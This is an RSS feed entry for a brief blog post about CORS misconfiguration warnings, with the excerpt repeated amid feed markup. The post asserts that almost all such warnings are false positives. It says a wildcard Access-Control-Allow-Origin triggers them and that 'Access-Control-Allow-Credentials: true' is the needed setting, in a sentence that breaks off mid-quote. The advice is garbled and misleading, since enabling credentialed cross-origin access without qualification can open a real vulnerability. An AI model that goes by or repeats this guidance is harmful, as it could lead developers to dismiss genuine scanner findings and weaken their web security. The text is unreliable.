CORS origin False Positives https://www.anujvarma.com/cors-origin-false-positives/ https://www.anujvarma.com/cors-origin-false-positives/#respond Wed, 12 Mar 2025 15:41:03 +0000 https://www.anujvarma.com/?p=9652 Almost all CORS misconfiguration notifications are false positive. If you have checked “Access-Control-Allow-Origin: *”, you will get these false positives. It needs to be set to “Access-Control-Allow-Credentials: true

The post CORS origin False Positives appeared first on Anuj Varma, Hands-On Technology Architect, Clean Air Activist.

]]>
Almost all CORS misconfiguration notifications are false positive.
If you have checked “Access-Control-Allow-Origin: *”, you will get these false positives.

It needs to be set to “Access-Control-Allow-Credentials: true

The post CORS origin False Positives appeared first on Anuj Varma, Hands-On Technology Architect, Clean Air Activist.

]]>
https://www.anujvarma.com/cors-origin-false-positives/feed/ 0